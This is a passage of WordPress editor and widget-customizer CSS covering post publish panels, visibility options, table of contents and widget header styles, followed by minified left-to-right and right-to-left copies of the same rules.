  background:#ffffffbf;
  flex-grow:1;
  justify-content:center;
}

[class].editor-post-format__suggestion{
  margin:4px 0 0;
}

.editor-post-last-revision__title{
  font-weight:500;
  width:100%;
}

.editor-post-last-revision__title.components-button.has-icon{
  height:100%;
  justify-content:space-between;
}
.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{
  background:#f0f0f0;
}
.editor-post-last-revision__title.components-button.has-icon:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.components-panel__body.is-opened.editor-post-last-revision__panel{
  height:48px;
  padding:0;
}
.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{
  padding:16px;
}

.editor-post-locked-modal__buttons{
  margin-top:24px;
}

.editor-post-locked-modal__avatar{
  border-radius:2px;
  margin-top:16px;
  min-width:auto !important;
}

.editor-post-panel__row{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:40px;
  width:100%;
}

.editor-post-panel__row-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  min-height:40px;
  width:30%;
}

.editor-post-panel__row-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:40px;
}

.editor-post-publish-button__button.has-changes-dot:before{
  background:currentcolor;
  border-radius:4px;
  content:"";
  height:8px;
  margin:auto -3px auto 5px;
  width:8px;
}

.editor-post-publish-panel{
  background:#fff;
}

.editor-post-publish-panel__content{
  min-height:calc(100% - 144px);
}
.editor-post-publish-panel__content>.components-spinner{
  display:block;
  margin:100px auto 0;
}

.editor-post-publish-panel__header{
  align-content:space-between;
  align-items:center;
  background:#fff;
  border-bottom:1px solid #ddd;
  display:flex;
  height:61px;
  padding-left:16px;
  padding-right:16px;
}
.editor-post-publish-panel__header .components-button{
  justify-content:center;
  width:100%;
}
.editor-post-publish-panel__header .has-icon{
  margin-right:auto;
  width:auto;
}

.components-site-card{
  align-items:center;
  display:flex;
  margin:16px 0;
}

.components-site-icon{
  border:none;
  border-radius:2px;
  height:36px;
  margin-left:12px;
  width:36px;
}

.components-site-name{
  display:block;
  font-size:14px;
}

.components-site-home{
  color:#757575;
  display:block;
  font-size:12px;
}

.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
  flex:1;
}
@media (min-width:480px){
  .editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
    max-width:160px;
  }
}

.editor-post-publish-panel__header-publish-button{
  padding-left:4px;
}

.editor-post-publish-panel__header-cancel-button{
  padding-right:4px;
}

.editor-post-publish-panel__header-published{
  flex-grow:1;
}

.editor-post-publish-panel__footer{
  padding:16px;
}

.components-button.editor-post-publish-panel__toggle.is-primary{
  align-items:center;
  display:inline-flex;
}
.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{
  display:none;
}
.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{
  margin-left:-4px;
}

.editor-post-publish-panel__link{
  font-weight:400;
  padding-right:4px;
}

.editor-post-publish-panel__prepublish{
  padding:16px;
}
.editor-post-publish-panel__prepublish strong{
  color:#1e1e1e;
}
.editor-post-publish-panel__prepublish .components-panel__body{
  background:#fff;
  margin-left:-16px;
  margin-right:-16px;
}
.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{
  display:none;
}

.post-publish-panel__postpublish .components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:none;
}

.post-publish-panel__postpublish-buttons{
  align-content:space-between;
  display:flex;
  flex-wrap:wrap;
  gap:16px;
}
.post-publish-panel__postpublish-buttons .components-button{
  flex:1;
  justify-content:center;
}
.post-publish-panel__postpublish-buttons .components-clipboard-button{
  width:100%;
}

.post-publish-panel__postpublish-post-address-container{
  align-items:flex-end;
  display:flex;
  margin-bottom:16px;
}
.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{
  flex:1;
}
.post-publish-panel__postpublish-post-address-container input[readonly]{
  background:#f0f0f0;
  border-color:#ccc;
  height:36px;
  overflow:hidden;
  padding:12px;
  text-overflow:ellipsis;
}

.post-publish-panel__postpublish-post-address__copy-button-wrap{
  flex-shrink:0;
  margin-right:16px;
}

.post-publish-panel__postpublish-header{
  font-weight:500;
}

.post-publish-panel__postpublish-subheader{
  margin:0 0 8px;
}

.post-publish-panel__tip{
  color:#f0b849;
}

@media screen and (max-width:782px){
  .post-publish-panel__postpublish-post-address__button-wrap .components-button{
    height:40px;
  }
}
.editor-post-saved-state{
  align-items:center;
  color:#757575;
  display:flex;
  overflow:hidden;
  padding:12px 4px;
  white-space:nowrap;
  width:28px;
}
.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{
  background:#0000;
  color:#757575;
}
.editor-post-saved-state svg{
  display:inline-block;
  flex:0 0 auto;
  fill:currentColor;
  margin-left:8px;
}
@media (min-width:600px){
  .editor-post-saved-state{
    padding:8px 12px;
    text-indent:inherit;
    width:auto;
  }
  .editor-post-saved-state svg{
    margin-left:0;
  }
}

.editor-post-save-draft.has-text.has-icon svg{
  margin-left:0;
}

.editor-post-schedule__panel-dropdown{
  width:100%;
}

.editor-post-schedule__dialog .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-schedule__dialog-toggle.components-button{
  display:block;
  height:auto;
  line-height:16px;
  max-width:100%;
  overflow:hidden;
  padding:10px 12px;
  text-align:right;
  white-space:unset;
}

.editor-post-sync-status__value{
  padding:6px 12px 6px 0;
}

.editor-post-taxonomies__hierarchical-terms-list{
  margin-right:-6px;
  margin-top:-6px;
  max-height:14em;
  overflow:auto;
  padding-right:6px;
  padding-top:6px;
}

.editor-post-taxonomies__hierarchical-terms-choice{
  margin-bottom:8px;
}
.editor-post-taxonomies__hierarchical-terms-choice:last-child{
  margin-bottom:4px;
}

.editor-post-taxonomies__hierarchical-terms-subchoices{
  margin-right:16px;
  margin-top:8px;
}

.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{
  margin-bottom:4px;
}

.editor-post-taxonomies__flat-term-most-used-list{
  margin:0;
}
.editor-post-taxonomies__flat-term-most-used-list li{
  display:inline-block;
  margin-left:8px;
}
.editor-post-taxonomies__flat-term-most-used-list .components-button{
  font-size:12px;
}

.editor-post-template__swap-template-modal{
  z-index:1000001;
}

.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{
  box-shadow:0 0 0 1px #ddd;
}

.editor-post-template__dropdown .components-popover__content{
  min-width:240px;
}
.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{
  background:inherit;
  color:inherit;
}

@media (min-width:782px){
  .editor-post-template__create-form{
    width:320px;
  }
}

.editor-post-template__classic-theme-dropdown{
  padding:8px;
}

.edit-post-text-editor__body textarea.editor-post-text-editor{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  transition:border .1s ease-out,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .edit-post-text-editor__body textarea.editor-post-text-editor{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .edit-post-text-editor__body textarea.editor-post-text-editor{
    font-size:15px !important;
    padding:24px;
  }
}
.edit-post-text-editor__body textarea.editor-post-text-editor:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.edit-post-text-editor__body .editor-post-title.is-raw-text{
  margin-bottom:24px;
  margin-top:2px;
  max-width:none;
}

.editor-post-url__panel-dropdown{
  width:100%;
}

.components-button.editor-post-url__panel-toggle{
  display:block;
  max-width:100%;
  overflow:hidden;
  text-align:right;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.editor-post-url__panel-dialog .editor-post-url{
  margin:8px;
  min-width:248px;
}

.editor-post-url__link-label{
  font-size:13px;
  font-weight:400;
  margin:0;
}
.editor-post-url__link{
  direction:ltr;
  word-break:break-word;
}
.editor-post-url__link-slug{
  font-weight:600;
}

.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin-left:12px;
  margin-top:2px;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  transition:none;
  width:24px;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    height:20px;
    width:20px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:8px;
  margin:0;
  transform:translate(-7px, 7px);
  width:8px;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
    transform:translate(-5px, 5px);
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__info{
  color:#757575;
  margin-right:36px;
  margin-top:.5em;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__info{
    margin-right:32px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{
  margin-bottom:0;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin-right:32px;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  width:calc(100% - 32px);
}
@media (prefers-reduced-motion:reduce){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-post-trash.components-button{
  flex-grow:1;
  justify-content:center;
}

.editor-preview-dropdown__button-external{
  display:flex;
  justify-content:space-between;
  width:100%;
}

.table-of-contents__popover.components-popover .components-popover__content{
  min-width:380px;
}

.components-popover.table-of-contents__popover{
  z-index:99998;
}

.table-of-contents__popover .components-popover__content{
  padding:16px;
}
@media (min-width:600px){
  .table-of-contents__popover .components-popover__content{
    max-height:calc(100vh - 120px);
    overflow-y:auto;
  }
}
.table-of-contents__popover hr{
  margin:10px -16px 0;
}

.table-of-contents__wrapper:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.table-of-contents__counts{
  display:flex;
  flex-wrap:wrap;
  margin:-8px 0 0;
}

.table-of-contents__count{
  color:#1e1e1e;
  display:flex;
  flex-basis:33%;
  flex-direction:column;
  font-size:13px;
  margin-bottom:0;
  margin-top:8px;
  padding-left:8px;
}
.table-of-contents__count:nth-child(4n){
  padding-left:0;
}

.table-of-contents__number,.table-of-contents__popover .word-count{
  color:#1e1e1e;
  font-size:21px;
  font-weight:400;
  line-height:30px;
}

.table-of-contents__title{
  display:block;
  font-size:15px;
  font-weight:600;
  margin-top:20px;
}

.editor-template-validation-notice{
  align-items:center;
  display:flex;
  justify-content:space-between;
}
.editor-template-validation-notice .components-button{
  margin-right:5px;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{
  background:#fff;
  box-sizing:border-box;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{
  box-sizing:inherit;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{
  margin:-12px;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{
  margin-bottom:0;
}

#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{
  transform:translateX(-100%);
}

.customize-widgets-header{
  background:#f0f0f1;
  border-bottom:1px solid #e0e0e0;
  display:flex;
  justify-content:flex-end;
  margin:-15px -12px 0;
  z-index:8;
}
@media (min-width:600px){
  .customize-widgets-header{
    margin-bottom:44px;
  }
}
.customize-widgets-header.is-fixed-toolbar-active{
  margin-bottom:0;
}

.customize-widgets-header-toolbar{
  align-items:center;
  border:none;
  display:flex;
  width:100%;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{
  border-radius:2px;
  color:#fff;
  height:24px;
  margin:12px 0 12px auto;
  min-width:24px;
  padding:0;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{
  content:none;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{
  margin-left:-12px;
}

#customize-sidebar-outer-content{
  min-width:100%;
  width:auto;
}

#customize-outer-theme-controls .widgets-inserter{
  padding:0;
}
#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{
  display:none;
}

.customize-widgets-layout__inserter-panel{
  background:#fff;
}

.customize-widgets-layout__inserter-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  display:flex;
  height:46px;
  justify-content:space-between;
  padding:16px;
}
.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{
  margin:0;
}

.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{
  background:#fff;
}

.customize-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.customize-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{
  position:fixed !important;
  z-index:7;
}

.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{
  position:fixed !important;
}

.customize-widgets-welcome-guide__image__wrapper{
  background:#00a0d2;
  margin-bottom:8px;
  text-align:center;
}
.customize-widgets-welcome-guide__image{
  height:auto;
}
.wrap .customize-widgets-welcome-guide__heading{
  font-size:18px;
  font-weight:600;
}
.customize-widgets-welcome-guide__text{
  line-height:1.7;
}
.customize-widgets-welcome-guide__button{
  justify-content:center;
  margin:1em 0;
  width:100%;
}
.customize-widgets-welcome-guide__separator{
  margin:1em 0;
}
.customize-widgets-welcome-guide__more-info{
  line-height:1.4;
}

#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{
  background-color:#fff;
  min-height:100%;
  padding-top:12px !important;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{
  overflow:unset;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{
  margin-top:-12px !important;
  position:static !important;
  width:unset !important;
}

.components-modal__screen-overlay{
  z-index:999999;
}

.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{
  box-sizing:border-box;
}
.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{
  box-sizing:inherit;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(-100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:600px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:24px;margin:12px 0 12px auto;min-width:24px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-left:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{box-sizing:inherit}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:600px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:24px;margin:12px auto 12px 0;min-width:24px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-right:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor 